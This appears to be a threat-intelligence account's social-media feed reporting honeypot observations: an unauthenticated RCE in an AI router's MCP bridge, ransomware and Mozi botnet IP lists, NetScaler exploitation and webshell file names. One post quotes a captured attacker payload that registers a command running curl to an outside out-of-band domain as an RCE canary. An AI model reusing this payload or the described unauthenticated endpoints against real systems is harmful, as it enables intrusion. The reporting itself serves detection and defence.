Huntback.io

Threat intelligence from real-world attacks: exploited-CVE maps, malicious IP reputation, login-fraud detection & code security.

[Huntback.io @Huntbackio]

One server, three crypto crimes: wallet scanning, cryptojacking and pool brute-forcing

https://t.co/fwTunKQknj

#crypto #poc #threatintel

[Huntback.io @Huntbackio]

Great question, pulled it from our telemetry:

Neither, mostly. 358 IPs sent a single unauthenticated GET /api/mcp and left, pure recon. 361/361 hit exactly one path, almost zero route enumeration.

Only 3 IPs actually hit POST /api/mcp/connect, and they went straight to it. All three registered a "server" running curl to an OAST domain:

{"serverConfig":{"command":"curl","args":["…https://t.co/jNckFWjaiY"]},"serverId":"mymcp"}

So: blind-RCE confirmation canaries, not weaponization yet. And exactly as you said, registration = code exec, those 3 prove it. Token-gating registration + localhost binding is the right call.

[Huntback.io @Huntbackio]

The AI supply chain is already under fire.

CVE-2026-46339 (CVSS 10, critical) is an unauthenticated RCE in 9Router, an AI router / token-saver, via its MCP bridge. Unprotected /api/mcp/* lets an attacker register plugins and execute commands with no auth.

On our deception network: 362 hits from 312 distinct IPs since Sept 22, with a tight operator cluster on 69.5.169[.]x (DE).

As teams bolt MCP into production, the agent layer is now an attack surface. Running 9Router < 0.4.37? Patch now.

#ThreatIntel #MCP #AI #RCE

[Huntback.io @Huntbackio]

INTEL DROP

11 Tengu ransomware IPs appearing in BOTH our high-confidence IPs and @RakeshKrish12 / TheRavenFile's tracking. Clustered bulletproof hosting across Panama, Germany and France:

🇵🇦 AS48721: 194.165.16.161 / .163 / .164 / .167
🇵🇦 AS267784: 45.227.254.152 / .156
🇩🇪 AS35042: 88.214.25.121 / .125
🇫🇷 AS49434: 91.238.181.93 / .95 / .96
Two independent sources, tight /24 sub-clusters.

Come and hunt for them on https://t.co/cpIrkXHK0s

#ThreatIntel #Ransomware #IOCs

[Huntback.io @Huntbackio]

@TheKn0ck0ut @skocherhan @grok @_CERT_UA To me a single trojanized AnyDesk in a piracy mirror isn't Lazarus infrastructure. I'd flag it as something to keep an eye on tbh, but not more.

[Huntback.io @Huntbackio]

@skocherhan @TheKn0ck0ut @_CERT_UA What’s the lazarus connection?

[Huntback.io @Huntbackio]

Found an entire botnet operation sitting in an open directory:

Cross-compiled bot binaries for every architecture, mips · mpsl · arm5/6/7 · x86 · ppc · m68k · sh4 (build name "UnHAnaAW"), the loader script, the CNC panel (dashboard.html + a .bak_cnc backup), and the bot's SQL db.

Open ports include 6666/6667: it's IRC-controlled. Old-school, still running.

Seen on the huntback honey network

Check https://t.co/cpIrkXHK0s for the loot

#ThreatIntel #Botnet #Mirai #IoT

[Huntback.io @Huntbackio]

🚀 INTEL DROP

Mozi IoT botnet, 98 live nodes serving the identical Mozi.m payload, across 8 ASNs in China, Russia, Ukraine, Vietnam, India and Hong Kong.

Core is Chinese broadband: 66 nodes on China Telecom (AS4837), 17 on China Unicom (AS17816). Tight /24 runs: 120.84.214.47/.95/.214 · 27.44.144.105/.229 · 163.142.93.7/.68

sha256: f6c97b1e2ed02578ca1066c8235ba4f991e645f89012406c639dbccc6582eec8

· 5.59.107.34 (UA)
· 5.167.233.232 (RU)
· 14.189.8.185 (VN)
· 103.68.95.197 (IN)
· 42.5.8.41
· 42.56.113.183
· 42.85.205.103
· 42.178.11.131
· 60.22.254.252
· 113.228.113.161
· 120.84.214.47
· 120.84.214.95
· 120.84.214.214
· 163.142.93.7
· 163.142.93.68
· 175.146.224.113
· 202.97.172.7
· 218.61.111.28
· 221.202.215.246
· 89.189.181.54
· 91.190.84.93
· 176.214.121.253
· 188.234.94.61

Full 98-node list below. Seen live on the huntback network https://t.co/cpIrkXHK0s

#ThreatIntel #Mozi #Botnet #IoT #IOCs

[Huntback.io @Huntbackio]

In the last 24h our fleet harvested 400 exposed .env and config files, from the attackers themselves.

Credentials, miner configs, a full .bash_history, a 10k-password brute list.

The people breaking in leave their own doors open too.

Available at https://t.co/e1MdLOoSeN for free.

#poc #threatintel

[Lupovis @LupovisDefence]

🚨 158.94.211[.]205 appears in public second-wave NetScaler IOC reporting.

Our sensors have been watching this IP since Sep 29, and the full timeline tells a more complete story than just "known attacker."

This is what methodical capability development looks like from the inside.

Sep 29: First contact. Broad NetScaler fingerprinting with a custom User-Agent "CVE-2026-88771-scanner/1.0 (defensive)".

Sweeps approximately 23 NetScaler-specific paths per sensor. No exploitation attempted. Pure reconnaissance.

Oct 1: Pivots to targeted POST /cgi/samlauth. Ten requests across multiple sensors between 08:15 and 14:45 UTC. The User-Agent changes mid-session from python-requests/2.34.2 to Chrome/148.0.0.0, suggesting active tool iteration during the campaign.

This SAML probing occurs approximately 35 hours before the first public report of CVE-2026-88779 exploitation.

#citrix #netscaler #threatintel

[Huntback.io @Huntbackio]

Same block, two completely different jobs. That's shared cloud abuse: attribution is "operated from," not "operated by."

And the through-line: self-reported identity lies first. A forged model label there, a forged user-agent here. Behavior is what gives both away.

Full IOCs https://t.co/e1MdLOoSeN

[Huntback.io @Huntbackio]

Swarmchasers tracked a Chinese AI "agent fleet" on Tencent Cloud HK scraping Amap map data, with reports faking a "claude" label that was really Tencent Hy4 / Zhipu GLM.

We ran their IOCs against our honey network. The fleet wasn't there. Its neighbors were. 🧵

[NetAskari @NetAskari]

Interesting find by swarmchasers: https://t.co/TZ6Jf7qAEl:

[Huntback.io @Huntbackio]

Their job against us isn't map scraping. It's commodity mass-exploitation:

• PHPUnit CVE-2017-9841 (64)
• F5 BIG-IP CVE-2023-46747
• Apache CVE-2021-42013
• NetScaler SAML, PHP-CGI

UAs: spoofed iPhone + Mac Chrome, libredtail-http. Nothing announces itself honestly.

[Huntback.io @Huntbackio]

When the pentester is a fleet of AI agents: inside an autonomous vuln-hunting rig

https://t.co/T50YqbAAha

#cybersecurity #pentest #poc

[Huntback.io @Huntbackio]

Already patched? The upgrade does not remove a webshell dropped before it. Hunt your NetScaler logs back to mid-September and check LogonPoint/custom for stray .receiver files.

Track Citrix NetScaler activity live 👉 https://t.co/BFsSzeD9bq

[Huntback.io @Huntbackio]

🚨 Citrix NetScaler is under active attack on our decoys. Here's a payload we're capturing that's worth hunting for. 🧵

#Citrix #NetScaler #ThreatIntel

[Huntback.io @Huntbackio]

Same campaign is also dropping webshells in the Gateway LogonPoint dir: .ctxs.receiver, .slap.receiver, and random-named .receiver files. IPs we're seeing:

109[.]136.126.142
138[.]199.60.22
138[.]199.60.36
146[.]70.199.170
146[.]70.211.157
23[.]162.8.173
91[.]199.163.55